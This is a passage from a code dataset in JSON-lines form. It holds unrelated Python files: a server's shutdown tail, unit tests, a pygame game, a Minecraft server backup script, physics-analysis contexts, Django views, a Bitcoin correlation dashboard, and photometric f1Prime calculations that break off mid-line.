listen=the_listen,\n bind_retry=the_bind_retry,\n )\n\n # Start the thread that accepts connections.\n connection_accepter = threading.Thread(target=server.accept_connections)\n connection_accepter.setDaemon(True)\n connection_accepter.start()\n\n # Start the Oyster Shell.\n server.open_oyster()\n\n # Handle the shutdown sequence.\n try:\n connection_accepter.join()\n except:\n server.handle_quit()\n connection_accepter.join()\n\n print('Shutdown complete!')\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":28181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"521562835","text":"# pylint: disable=no-self-use,invalid-name\nimport numpy\n\n# pylint: disable=line-too-long\nfrom deep_qa.data.instances.text_classification.multi_text_classification_instance import IndexedMultipleLabelTextClassificationInstance\nfrom deep_qa.data.instances.text_classification.multi_text_classification_instance import MultipleLabelTextClassificationInstance\n# pylint: enable=line-too-long\nfrom ....common.test_case import DeepQaTestCase\n\n\nclass TestMultipleLabelTextClassificationInstance:\n @staticmethod\n def instance_to_line(text, label=None, index=None):\n line = ''\n if index is not None:\n line += str(index) + '\\t'\n line += text\n if label is not None:\n line += '\\t' + label\n return line\n\n def test_read_from_line_handles_one_column(self):\n text = \"this is a sentence\"\n instance = MultipleLabelTextClassificationInstance.read_from_line(text)\n assert instance.text == text\n assert instance.label is None\n assert instance.index is None\n\n def test_read_from_line_handles_two_column(self):\n text = 'this is a sentence'\n text1 = text + '\\tone'\n instance = MultipleLabelTextClassificationInstance.read_from_line(text1)\n assert instance.text == text\n assert instance.label == 'one'\n assert instance.index is None\n\n def test_read_from_line_handles_two_column_with_label(self):\n index = None\n text = \"this is a sentence\"\n label = \"one\"\n line = self.instance_to_line(text, label, index)\n\n instance = MultipleLabelTextClassificationInstance.read_from_line(line)\n assert instance.text == text\n assert instance.label == label\n assert instance.index == index\n","sub_path":"tests/data/instances/text_classification/multi_classfication_test.py","file_name":"multi_classfication_test.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"548762520","text":"#Importing required libraries\nimport os\nimport math\nimport random\nimport pygame\nfrom pygame.locals import *\n\n\n#Setting the current working directory to the script's directory\nabspath = os.path.abspath(__file__)\ndname = os.path.dirname(abspath)\nos.chdir(dname)\n\n#Initializing the game\npygame.init()\nheight, width = 480, 640\nscreen = pygame.display.set_mode((width, height)) #setting dimensions for the screen\npygame.mixer.init() #Initializing audio\n\n#Setting key response functionality\nkeys = [False, False, False, False] #initial state of WASD keys in that order\nplayer_position = [150,240] #initial player position\n\n#Shooting\naccuracy = [0,0] #Player accuracy -> [Shots fired, Shots that hit the targets]\narrows = []\n\n#Enemies\nbadtimer=100 #Sets timer after which next enemy spawns\nbadtimer1=0\nbadguys_position=[[640,100]]\nhealthvalue=194 #Sets value for health bar\n\n#Loading images\nplayer = pygame.image.load(\"./resources/images/dude.png\")\ngrass = pygame.image.load(\"./resources/images/grass.png\")\ncastle = pygame.image.load(\"./resources/images/castle.png\")\narrow = pygame.image.load(\"./resources/images/bullet.png\")\n\nbadguyimg1 = pygame.image.load(\"./resources/images/badguy.png\")\nbadguyimg=badguyimg1\n\nhealthbar = pygame.image.load(\"./resources/images/healthbar.png\")\nhealth = pygame.image.load(\"./resources/images/health.png\")\n\ngameover = pygame.image.load(\"./resources/images/gameover.png\")\nyouwin = pygame.image.load(\"./resources/images/youwin.png\")\n\n#Loading Audio\nhit = pygame.mixer.Sound(\"./resources/audio/explode.wav\")\nenemy = pygame.mixer.Sound(\"./resources/audio/enemy.wav\")\nshoot = pygame.mixer.Sound(\"./resources/audio/shoot.wav\")\n #Setting volume levels\nhit.set_volume(0.05)\nenemy.set_volume(0.05)\nshoot.set_volume(0.05)\n #Background music\npygame.mixer.music.load('C:/Personal/Codes/Github/Games/PyGame/Rabbit_vs_badgers/resources/audio/moonlight.wav')\npygame.mixer.music.play(-1, 0.0) #Sets the background music to play on loop\npygame.mixer.music.set_volume(0.25)\n\n#Game loop\nrunning = 1\nexitcode = 0\n\nwhile running:\n badtimer-=1\n #Refreshing screen\n screen.fill(0)\n \n #Drawing elements\n #Grass\n for x in range(int(width/grass.get_width())+1):\n for y in range(int(height/grass.get_height())+1):\n screen.blit(grass, (x*100, y*100))\n \n #Player\n position = pygame.mouse.get_pos()\n angle = math.atan2(position[1]-(player_position[1]+32),position[0]-(player_position[0]+26))\n player_rotation = pygame.transform.rotate(player, 360-angle*57.29)\n player_position1 = (player_position[0]-player_rotation.get_rect().width/2, player_position[1]-player_rotation.get_rect().height/2)\n screen.blit(player_rotation, player_position1)\n\n #Castle\n screen.blit(castle, (0,30))\n screen.blit(castle, (0,135))\n screen.blit(castle, (0,240))\n screen.blit(castle, (0,345))\n\n #Arrows\n for bullet in arrows:\n index=0\n velx=math.cos(bullet[0])*10\n vely=math.sin(bullet[0])*10\n bullet[1]+=velx\n bullet[2]+=vely\n if bullet[1]<-64 or bullet[1]>640 or bullet[2]<-64 or bullet[2]>480:\n arrows.pop(index)\n index+=1\n for projectile in arrows:\n arrow1 = pygame.transform.rotate(arrow, 360-projectile[0]*57.29)\n screen.blit(arrow1, (projectile[1], projectile[2]))\n\n #Enemies\n if badtimer==0:\n badguys_position.append([640, random.randint(50,430)])\n badtimer=100-(badtimer1*2)\n if badtimer1>=35:\n badtimer1=35\n else:\n badtimer1+=5\n index=0\n for badguy in badguys_position:\n if badguy[0]<-64:\n badguys_position.pop(index) #Deletes enemy when it goes off screen\n badguy[0]-=4 #Speed of enemies\n #Castle attack\n badrect=pygame.Rect(badguyimg.get_rect())\n badrect.top=badguy[1]\n badrect.left=badguy[0]\n if badrect.left<64:\n hit.play()\n healthvalue -= random.randint(5,20)\n badguys_position.pop(index)\n index1=0\n for bullet in arrows:\n bullrect=pygame.Rect(arrow.get_rect())\n bullrect.left=bullet[1]\n bullrect.top=bullet[2]\n if badrect.colliderect(bullrect):\n enemy.play()\n accuracy[0]+=1\n badguys_position.pop(index)\n arrows.pop(index1)\n index1+=1\n #Next enemy\n index+=1\n #Displays enemies\n for badguy in badguys_position:\n screen.blit(badguyimg, badguy)\n\n #Game timer display\n font = pygame.font.Font(None, 24)\n survivedtext = font.render(str(math.trunc((90000-pygame.time.get_ticks())/60000))+\":\"+str(math.trunc((90000-pygame.time.get_ticks())/1000%60)).zfill(2), True, (0,0,0))\n textRect = survivedtext.get_rect()\n textRect.topright=[635,5]\n screen.blit(survivedtext, textRect)\n\n\n #Health Bar\n screen.blit(healthbar, (5,5))\n for health1 in range(healthvalue):\n screen.blit(health, (health1+8,8))\n\n \n \n #Updating screen\n pygame.display.flip()\n \n #Event loop\n for event in pygame.event.get():\n #Check if the event is the X button \n if event.type==pygame.QUIT:\n #if True, quit game\n pygame.quit() \n exit(0)\n \n #WASD key responses for movement\n if event.type == pygame.KEYDOWN:\n if event.key == K_w:\n keys[0] = True\n if event.key == K_a:\n keys[1] = True\n if event.key == K_s:\n keys[2] = True\n if event.key == K_d:\n keys[3] = True\n if event.type == pygame.KEYUP:\n if event.key == K_w:\n keys[0] = False\n if event.key == K_a:\n keys[1] = False\n if event.key == K_s:\n keys[2] = False\n if event.key == K_d:\n keys[3] = False\n\n #Firing functionality\n if event.type==pygame.MOUSEBUTTONDOWN:\n shoot.play()\n position=pygame.mouse.get_pos()\n accuracy[1]+=1\n arrows.append([math.atan2(position[1]-(player_position1[1]+32),position[0]-(player_position1[0]+26)),player_position1[0]+32,player_position1[1]+32])\n\n #Player movements using WASD keys\n #Limiting displays so that player does not go off the screen\n #W\n if keys[0]:\n player_position[1] -= 5\n if player_position[1] <25:\n player_position[1] = 25\n #S\n elif keys[2]:\n player_position[1] += 5\n if player_position[1] >450:\n player_position[1] = 450\n #A\n if keys[1]:\n player_position[0] -= 5\n if player_position[0] <130:\n player_position[0] = 130\n #D\n elif keys[3]:\n player_position[0] += 5\n if player_position[0] >600:\n player_position[0] = 600\n\n #Win/Lose check\n if pygame.time.get_ticks()>=90000:\n running=0\n exitcode=1\n if healthvalue<=0:\n running=0\n exitcode=0\n if accuracy[1]!=0:\n accuracyScore=math.trunc(accuracy[0]*1.0/accuracy[1]*100)\n else:\n accuracyScore=0\n\n# 11 - Win/lose display \nif exitcode==0:\n pygame.font.init()\n font = pygame.font.Font(None, 24)\n text = font.render(\"Accuracy: \"+str(accuracyScore)+\"%\", True, (255,0,0))\n textRect = text.get_rect()\n textRect.centerx = screen.get_rect().centerx\n textRect.centery = screen.get_rect().centery+24\n screen.blit(gameover, (0,0))\n screen.blit(text, textRect)\nelse:\n pygame.font.init()\n font = pygame.font.Font(None, 24)\n text = font.render(\"Accuracy: \"+str(accuracyScore)+\"%\", True, (0,255,0))\n textRect = text.get_rect()\n textRect.centerx = screen.get_rect().centerx\n textRect.centery = screen.get_rect().centery+24\n screen.blit(youwin, (0,0))\n screen.blit(text, textRect)\nwhile 1:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n exit(0)\n pygame.display.flip()\n","sub_path":"PyGame/Rabbit_vs_badgers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"542075856","text":"# coding=utf-8\nimport datetime\nimport logging\nimport os\nimport shutil\nimport stat\n\nimport yaml\n\n# ログ出力設定\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(message)s')\n\n# このスクリプトの説明\nlogging.info(\"Genisys のデータをバックアップ\")\n\n# このスクリプトが配置されているディレクトリのパスを取得\nscript_dir = os.path.dirname(__file__)\n\n# 設定ファイル読み込み\nsettings = yaml.load(open(os.path.join(script_dir, \"mcpe.yaml\"), encoding=\"utf8\").read())\n\n# Genisys がインストールされているディレクトリのパス\nGENISYS_DIR = settings[\"genisys_dir\"]\n\n# バックアップするディレクトリのパス\nBACKUP_DIR = settings[\"backup_data_dir\"]\n\n# バックアップする世代数\nBACKUP_MAX = settings[\"backup_data_max\"]\n\n# 現在の日時を取得\ntoday = datetime.datetime.now()\n\n# コピー先のディレクトリを組み立て\ndst_dir = os.path.join(BACKUP_DIR, today.strftime(\"%Y-%m-%d-%H%M%S\"))\n\nlogging.info(\"コピー元 = \" + GENISYS_DIR)\nlogging.info(\"コピー先 = \" + dst_dir)\n\n# コピー先が存在する場合\nif os.path.isdir(dst_dir):\n shutil.rmtree(dst_dir)\n\n# ディレクトリをコピー\nlogging.info(\"コピー開始\")\nshutil.copytree(GENISYS_DIR, dst_dir)\nlogging.info(\"コピー完了\")\n\n# ディレクトリ一覧取得\ndirs = []\nfor item in os.listdir(BACKUP_DIR):\n path = os.path.join(BACKUP_DIR, item)\n\n if os.path.isdir(path):\n dirs.append(path)\n\ndirs.sort()\ndirs.reverse()\n\n\ndef on_rm_error(func, thepath, excinfo):\n \"\"\"\n 世代数を超えた分を削除\n :param func:\n :param thepath:\n :param excinfo:\n \"\"\"\n os.chmod(thepath, stat.S_IWRITE)\n os.unlink(thepath)\n\n\nfor i in range(0, len(dirs)):\n if BACKUP_MAX <= i:\n path = dirs[i]\n logging.info(\"削除 = \" + path)\n shutil.rmtree(path, onerror=on_rm_error)\n","sub_path":"mcpe-backup-data.py","file_name":"mcpe-backup-data.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"172859655","text":"import unittest\nimport src.OptimalControl.FittedContinuousValueIteration.NeuralFuncApproximator2 as nfa\nimport numpy as np\n\nclass NeuralFunctionApproximatorTest2(unittest.TestCase):\n def setUp(self):\n self.approx = nfa.NeuralFuncApproximator2(2, 10, 12)\n\n def test_value(self):\n x = np.array([10, 20.5])\n self.approx.value_at(x)\n param = self.approx.get_parameters()\n self.approx.set_parameters(param)\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"tests/FittedContinuousValueIteration/NeuralFunctionApproximatorTest2.py","file_name":"NeuralFunctionApproximatorTest2.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"555493208","text":"import urllib.parse\n\nimport dash\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.express as px\nfrom btc_analysis.dashboard_func import btc_total_dfs\nfrom dash.dependencies import Input, Output\n\n# ------------------------------\n# start app\n\n\napp = dash.Dash(__name__, external_stylesheets=[dbc.themes.CYBORG],\n meta_tags=[{'name': 'viewport',\n 'content': 'width=device-width, initial-scale=1.0'}])\n\nserver = app.server\n\napp.css.append_css(\n {\"external_url\": \"https://codepen.io/chriddyp/pen/bWLwgP.css\"})\n# -------------------\n# Data\n\nwindow_list = [\"3Y\", \"1Y\", \"1Q\", \"1M\", \"YTD\"]\ndf_alt, df_yahoo = btc_total_dfs(window_list, \"correlation\")\n\ndf_alt_col = list(df_alt.columns)\ndf_alt_col.remove('Date')\ndf_alt_col.remove('Window')\n\n\ndf_yahoo = df_yahoo.drop(columns=[\"ETH\", \"XRP\", \"LTC\"])\n# df_yahoo = df_yahoo.rename(\n# columns={'BBG Barclays PAN EURO Aggregate': 'EUR Aggregate Bond',\n# 'BBG Barclays PAN US Aggregate': 'US Aggregate Bond',\n# 'PETROL': 'CRUDE OIL',\n# 'Bloomberg Barclays EuroAgg Total Return Index Value Unhedged EUR': ' Euro Total Return'})\ndf_col_yahoo = list(df_yahoo.columns)\ndf_col_yahoo.remove('Date')\ndf_col_yahoo.remove('Window')\ndf_col_yahoo.remove('NATURAL_GAS')\n\n# ----------------\n# app layout: bootstrap\n\napp.layout = dbc.Container([\n\n # create as much rows and columns as needed foe the dashboard\n dbc.Row([\n dbc.Col(html.H1(\"BTC Correlations Dashboard\",\n className='text-center text-primary, mb-4'),\n width=12)\n\n ]),\n\n dbc.Row([\n dbc.Col([\n\n dbc.Card(\n [\n dbc.CardBody(\n [\n dbc.Row([\n dbc.Col([\n\n html.Label(['Time Window']),\n\n dcc.Dropdown(\n id='my_alt_dropdown',\n options=[\n {'label': w, 'value': w} for w in window_list\n ],\n multi=False,\n value=\"1Y\",\n style={\"width\": \"50%\"},\n clearable=False\n ),\n\n html.Label(['Crypto Assets']),\n dcc.Checklist(\n id='my_alt_check',\n options=[\n {'label': x, 'value': x} for x in df_alt_col\n ],\n value=[\"ETH\", \"XRP\", \"LTC\", \"BCH\"],\n labelStyle={\n 'display': 'inline-block'},\n inputStyle={\"margin-right\": \"10px\",\n \"margin-left\": \"10px\"}\n ),\n\n\n dcc.Graph(\n id='my_multi_line', figure={}),\n\n html.A(\n 'Download Data',\n id='download-link_alt',\n download=\"altcoin_rawdata.csv\",\n href=\"\",\n target=\"_blank\"\n )\n ])\n\n ]),\n ]),\n ],\n style={\"width\": \"70rem\"},\n className=\"mt-3\"\n )\n\n ]),\n\n ], justify='center'),\n\n dbc.Row([\n dbc.Col([\n\n dbc.Card(\n [\n dbc.CardBody(\n [\n dbc.Row([\n dbc.Col([\n\n\n html.Label(['Time Window']),\n\n dcc.Dropdown(\n id='my_yahoo_dropdown',\n options=[\n {'label': w, 'value': w} for w in window_list\n ],\n multi=False,\n value=\"1Y\",\n style={\"width\": \"50%\"},\n clearable=False\n ),\n\n html.Label(['Assets']),\n\n dcc.Checklist(\n id='my_yahoo_check',\n options=[\n {'label': x, 'value': x} for x in df_col_yahoo\n ],\n value=[\"GOLD\", \"S&P500\",\n \"CRUDE OIL\", \"US TREASURY\"],\n labelStyle={\n 'display': 'inline-block'},\n inputStyle={\"margin-right\": \"10px\",\n \"margin-left\": \"10px\"}\n ),\n\n\n dcc.Graph(\n id='my_multi_line_2', figure={}),\n\n html.A(\n 'Download Data',\n id='download-link_yahoo',\n download=\"yahoo_rawdata.csv\",\n href=\"\",\n target=\"_blank\"\n )\n ])\n\n ]),\n ]),\n ],\n style={\"width\": \"70rem\"},\n className=\"mt-3\"\n )\n\n ]),\n\n ], justify='center'),\n\n dcc.Interval(id='all-update', interval=100000, n_intervals=0)\n])\n\n# --------------------------\n# Callbacks part\n\n\n# btc denominated altcoin callback\n\n\n@ app.callback(\n Output(component_id=\"my_multi_line\", component_property=\"figure\"),\n [Input(component_id=\"my_alt_dropdown\", component_property=\"value\"),\n Input(component_id=\"my_alt_check\", component_property=\"value\"),\n Input(component_id=\"all-update\", component_property=\"n_intervals\")\n ]\n)\ndef update_graph_alt(window_selection, asset_selection, n):\n\n df_alt, _ = btc_total_dfs(window_list, \"correlation\")\n df_alt[\"Year\"] = df_alt['Date'].str[:4]\n df_alt = df_alt.loc[df_alt.Year > \"2017\"]\n\n dff_alt = df_alt.copy()\n dff_w_alt = dff_alt.loc[dff_alt.Window == window_selection]\n dff_w_alt = dff_w_alt.drop(columns=[\"Window\"])\n dff_date = dff_w_alt[\"Date\"]\n\n dff_alt_filtered = dff_w_alt[asset_selection]\n dff_alt_filtered[\"Date\"] = dff_date\n\n fig_alt = px.line(\n data_frame=dff_alt_filtered,\n x=\"Date\",\n y=asset_selection,\n template='plotly_dark',\n title='Altcoin correlation with Bitcoin',\n range_y=[-1, 1],\n color_discrete_map={\n \"BTC\": \"#FEAF16\",\n \"ETH\": \"#511CFB\",\n \"XRP\": \"#F6222E\",\n \"LTC\": \"#E2E2E2\",\n \"BCH\": \"#86CE00\",\n \"EOS\": \"#FBE426\",\n \"ETC\": \"#DA16FF\",\n \"ZEC\": \"#B68100\",\n \"ADA\": \"#00B5F7\",\n \"XLM\": \"#750D86\",\n \"XMR\": \"#A777F1\",\n \"BSV\": \"#F58518\"\n }\n )\n\n return fig_alt\n\n\n@app.callback(\n Output(component_id='download-link_alt', component_property='href'),\n Input(component_id='my_alt_dropdown', component_property='value')\n)\ndef update_download_link_alt(window_selection):\n\n dff_alt_d = df_alt.copy()\n dff_w = dff_alt_d.loc[dff_alt_d.Window == window_selection]\n\n csv_string = dff_w.to_csv(index=False, encoding='utf-8')\n csv_string = \"data:text/csv;charset=utf-8,\" + \\\n urllib.parse.quote(csv_string)\n\n return csv_string\n\n# various asset btc den\n\n\n@ app.callback(\n Output(component_id=\"my_multi_line_2\", component_property=\"figure\"),\n [Input(component_id=\"my_yahoo_dropdown\", component_property=\"value\"),\n Input(component_id=\"my_yahoo_check\", component_property=\"value\"),\n Input(component_id=\"all-update\", component_property=\"n_intervals\")\n ]\n)\ndef update_graph_yahoo(window_selection, asset_selection, n):\n\n _, df_yahoo = btc_total_dfs(window_list, \"correlation\")\n df_yahoo[\"Year\"] = df_yahoo['Date'].str[:4]\n df_yahoo = df_yahoo.loc[df_yahoo.Year > \"2016\"]\n\n df_yahoo = df_yahoo.drop(columns=[\"ETH\", \"XRP\", \"LTC\"])\n # df_yahoo = df_yahoo.rename(\n # columns={'BBG Barclays PAN EURO Aggregate': 'EUR Aggregate Bond',\n # 'BBG Barclays PAN US Aggregate': 'US Aggregate Bond',\n # 'PETROL': 'CRUDE OIL',\n # 'Bloomberg Barclays EuroAgg Total Return Index Value Unhedged EUR': ' Euro Total Return'})\n\n dff_yahoo = df_yahoo.copy()\n dff_w = dff_yahoo.loc[dff_yahoo.Window == window_selection]\n dff_w = dff_w.drop(columns=[\"Window\"])\n dff_date = dff_w[\"Date\"]\n dff_filtered = dff_w[asset_selection]\n dff_filtered[\"Date\"] = dff_date\n\n fig_yahoo = px.line(\n data_frame=dff_filtered,\n x=\"Date\",\n y=asset_selection,\n template='plotly_dark',\n title='Asset Class correlation with Bitcoin',\n range_y=[-1, 1],\n color_discrete_map={\n \"BTC\": \"#FEAF16\",\n \"S&P500\": \"#511CFB\",\n \"CRUDE OIL\": \"#85660D\",\n \"COPPER\": \"#B68100\",\n \"SILVER\": \"#E2E2E2\",\n \"TESLA\": \"#86CE00\",\n \"US index\": \"#FBE426\",\n \"CORN\": \"#DA16FF\",\n \"NASDAQ\": \"black\",\n \"VIX\": \"#00B5F7\",\n \"DOWJONES\": \"#750D86\",\n \"US TREASURY\": \"#A777F1\",\n \"AMAZON\": \"#F58518\",\n \"GOLD\": \"#F6F926\"\n }\n )\n\n return fig_yahoo\n\n\n@app.callback(\n Output(component_id='download-link_yahoo', component_property='href'),\n Input(component_id='my_yahoo_dropdown', component_property='value')\n)\ndef update_download_link_yahoo(window_selection):\n\n dff_y_d = df_yahoo.copy()\n dff_w = dff_y_d.loc[dff_y_d.Window == window_selection]\n\n csv_string = dff_w.to_csv(index=False, encoding='utf-8')\n csv_string = \"data:text/csv;charset=utf-8,\" + \\\n urllib.parse.quote(csv_string)\n\n return csv_string\n\n\nprint(\"Done\")\n# --------------------\nif __name__ == '__main__':\n app.run_server(debug=False, port=4500, host='0.0.0.0')\n","sub_path":"dashboard/btc_correlation_dashboard.py","file_name":"btc_correlation_dashboard.py","file_ext":"py","file_size_in_byte":11425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"368990401","text":"import strax\nimport straxen\n\n\ncommon_opts = dict(\n register_all=[\n straxen.daqreader,\n straxen.pulse_processing,\n straxen.peaklet_processing,\n straxen.peak_processing,\n straxen.event_processing,\n straxen.cuts],\n store_run_fields=(\n 'name', 'number',\n 'reader.ini.name', 'tags.name',\n 'start', 'end', 'livetime',\n 'trigger.events_built'),\n check_available=('raw_records', 'records', 'peaklets',\n 'events', 'event_info'))\n\n\ndef demo():\n \"\"\"Return strax context used in the straxen demo notebook\"\"\"\n straxen.download_test_data()\n return strax.Context(\n storage=[strax.DataDirectory('./strax_data'),\n strax.DataDirectory('./strax_test_data')],\n register=straxen.RecordsFromPax,\n forbid_creation_of=('raw_records',),\n **common_opts)\n\n\ndef strax_workshop_dali():\n return strax.Context(\n storage=[\n strax.DataDirectory(\n '/dali/lgrandi/aalbers/strax_data_raw',\n take_only='raw_records',\n deep_scan=False,\n readonly=True),\n strax.DataDirectory(\n '/dali/lgrandi/aalbers/strax_data',\n readonly=True,\n provide_run_metadata=False),\n strax.DataDirectory('./strax_data',\n provide_run_metadata=False)],\n register=straxen.plugins.pax_interface.RecordsFromPax,\n # When asking for runs that don't exist, throw an error rather than\n # starting the pax converter\n forbid_creation_of=('raw_records',),\n **common_opts)\n\n\ndef fake_daq():\n \"\"\"Context for processing fake DAQ data in the current directory\"\"\"\n return strax.Context(\n storage=[strax.DataDirectory('./strax_data',\n provide_run_metadata=False),\n # Fake DAQ puts run doc JSON in same folder:\n strax.DataDirectory('./from_fake_daq',\n readonly=True)],\n config=dict(input_dir='./from_fake_daq'),\n **common_opts)\n","sub_path":"straxen/contexts.py","file_name":"contexts.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"161345144","text":"# -*- coding: utf-8 -*-\n\nfrom projects.models import Project\nfrom tasks.models import Task\nfrom django.contrib import admin\n\nclass TaskInline(admin.StackedInline):\n\tmodel = Task\n\textra = 1\n\nclass ProjectAdmin(admin.ModelAdmin):\n\tmodel = Project\n\tinlines = [TaskInline]\n\t\nadmin.site.register(Project, ProjectAdmin)","sub_path":"projects/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"291368159","text":"from django.shortcuts import render, redirect\nfrom .forms import UserUpdateForm\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\n@login_required\ndef profile(request):\n if request.method == 'POST':\n u_form = UserUpdateForm(request.POST, instance=request.user)\n if u_form.is_valid():\n u_form.save()\n messages.success(request, 'Profile updated successfully.')\n return redirect('profile')\n else:\n u_form = UserUpdateForm(instance=request.user)\n context = {\n 'u_form': u_form\n }\n return render(request, 'record/profile.html', context=context)\n\n\ndef roster(request):\n return render(request, template_name='roster/calendar.html')\n","sub_path":"roster/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"586376237","text":"########################################################################\n# \n# Copyright (C) <2021> (udo.krueger at technoteam.de)\n# All basic photometric/colorimetric stuff from luxpy\n#########################################################################\n\nfrom pyxll import xl_func\nimport luxpy as lx\nimport numpy as np\nimport math\nfrom scipy.optimize import minimize_scalar\nfrom scipy.fft import fft, ifft, fftfreq\n\n__all__ = ['py_f1Prime', 'py_f1PrimeGlx', 'py_f1PrimeG', 'py_fsdG']\n\n@xl_func(\"numpy_array wlScale, numpy_array srData: float\")\ndef py_f1Prime( wlScale, srData):\n \"\"\"\n Calculate the standard f1Prime value according to (ISO/CIE 19476:2014-06, 2014).\n\n Args:\n :wlScale:\n | wavelength scale (ndarray, .shape(n,))\n :srData:\n | spectral responsivity data at the points of wlScale (ndarray, .shape(n,))\n Returns:\n :returns:\n | float f1Prime value\n\n Note:\n Only one wlScale and one spectral responsivity is supported.\n \"\"\"\n return py_f1PrimeG( wlScale, srData, strObserver='1931_2', iObserverOffset=1, strWeighting='A')\n\n\n@xl_func(\"numpy_array srDataWithWlScale, string strObserver, int iObserverOffset, \\\n string strWeighting, int iMin, float dCutOff, float dBandWidth: float\", auto_resize=True)\ndef py_f1PrimeGlx( srDataWithWlScale, strObserver='1931_2', iObserverOffset = 1, strWeighting='A', iMin=0, \\\n dCutOff=0., dBandWidth=0.):\n f1p = np.zeros(srDataWithWlScale.shape[0]-1)\n for iNumber in range(f1p.size):\n [f1p[iNumber], _]=py_f1PrimeG(srDataWithWlScale[0,:], srDataWithWlScale[iNumber+1,:], \\\n strObserver=strObserver, iObserverOffset=iObserverOffset, \\\n iMin=iMin, dCutOff=dCutOff, dBandWidth=dBandWidth, strWeighting=strWeighting)\n return f1p\n\n\ndef NextPowerOfTwo(number):\n # Returns next power of two following 'number'\n return math.ceil(math.log(number,2))\n\ndef PadRight(arr):\n nextPower = NextPowerOfTwo(len(arr))\n deficit = int(math.pow(2, nextPower) - len(arr))\n arr = np.concatenate((arr, np.zeros(deficit, dtype=arr.dtype)))\n return arr\n\n\n\nuseAFOrgImplementation = False\n\n@xl_func(\"numpy_array wlScale, numpy_array srData, string strObserver, int iObserverOffset, \\\n string strWeighting, int iMin, float dCutOff, float dBandWidth: float\", auto_resize=True)\ndef py_f1PrimeG( wlScale, srData, strObserver='1931_2', iObserverOffset = 1, strWeighting='A', iMin=0, \\\n dCutOff=0., dBandWidth=0.):\n \"\"\"\n Calculate the general f1Prime value with very different versions of target functions, weightings and\n other ideas from literature. \n\n Args:\n :wlScale:\n | wavelength scale (ndarray, .shape=(n,))\n :srData:\n | spectral responsivity data at the point of wlScale (ndarray, .shape=(n,))\n :strObserver:\n | Name of the Observer used for the target functions\n | All Observers (color matching functions implemented in luypy (see lx._CMF.keys()) \n | are supported.\n :iObserverOffset:\n | 0 ... xBar\n | 1 ... yBar (V(Lambda), ...)\n | 2 ... zBar \n :strWeighting:\n | Weighting function to scale the srData to the V(Lambda)/Target function\n | All illuminants from luypy are supported (see lx._CIE_ILLUMINANTS.keys()).\n | Examples:\n | 'E' ... No weighting at all\n | 'A' ... Weighting with standard illuminant A (the standard weighting)\n | 'LED_B3' Weighting with illuminant L the future standard illuminant L\n :iMin:\n | 0 ... Use the selected weighting\n | 1 ... Calculate the minimal f1Prime value while changing the weighting factor\n :dCutOff:\n | dCutOff > 0 ... Use the fourier method of Alejandro Ferrero (https://doi.org/10.1364/OE.26.018633)\n | dCutOff < 0 ... same as dCutOff>0 but use the invers fourier transformation after applying the CutOff\n | to get comparible f1Prime values\n | The CutOff-frequency should be given in 1/nm\n :dBandWidth:\n | dBandWidth > 0 (dBandWidth in nm)\n | Convolution of the difference function with an symmetric LED model of dBandWidth FWHM\n\n Returns:\n :returns:\n | float f1Prime value\n\n Examples:\n\n Note:\n There is no need that the wlScale is monotone or equidistant. The calculation is done with the trapz\n integration on the wlScale of the caller. Only the target and weighting functions are interpolated.\n \"\"\"\n res = wlScale.size\n wlScale = wlScale.reshape(res)\n srData = srData.reshape(res)\n # calculate the mean step for the data (assume a non equidistant wlScale)\n deltaLambda = np.mean(np.diff(wlScale))\n\n # Get CMF from lx\n lxCmf = lx._CMF[strObserver]\n # Get the weighting function from lx\n lxWeighting = lx._CIE_ILLUMINANTS[strWeighting]\n\n # interpolate to srData\n iCmf = lx.cie_interp(lxCmf['bar'], wlScale, kind='linear')\n iWeighting = lx.cie_interp(lxWeighting, wlScale, kind='linear')\n\n # calculate some temporary sums\n sObserver = np.trapz(iCmf[iObserverOffset + 1], wlScale)\n sProduct = np.trapz(iCmf[iObserverOffset + 1] * iWeighting[1], wlScale)\n sDenominator = np.trapz( iWeighting[1] * srData, wlScale)\n\n sNorm = sProduct / sDenominator\n\n # we minimize the usual f1Prime equation varying the dNorm value only\n def dstFunction( dNorm):\n return np.trapz(abs((srData * dNorm).T - iCmf[iObserverOffset + 1]), wlScale)\n\n # Use the Min f1Prime value according to Alejandro Ferrero\n if iMin > 0:\n # call optimization (usually no start value and no boundaries required\n dNormMinOpt = minimize_scalar(dstFunction)\n # take over the weighting factor for the minimal f1Prime value\n sNorm = dNormMinOpt.x\n\n # calculate the difference vector, normalized to the observer integral\n deltaVector = (srData * sNorm - iCmf[iObserverOffset + 1]) / sObserver\n # Use the fourier method of Alejandro Ferrero (https://doi.org/10.1364/OE.26.018633)\n # For the original method strWeighting should be used with 'E'\n # FYI: dCutOff>0 can be combined with iMin>0!\n if dCutOff == 0:\n if dBandWidth > 0:\n # get a gaussian SPD of a LED\n led = lx.toolboxes.spdbuild.gaussian_spd( \\\n peakwl=0, fwhm=dBandWidth, wl=[-3 * dBandWidth, 3 * dBandWidth, deltaLambda], with_wl=False)\n led = 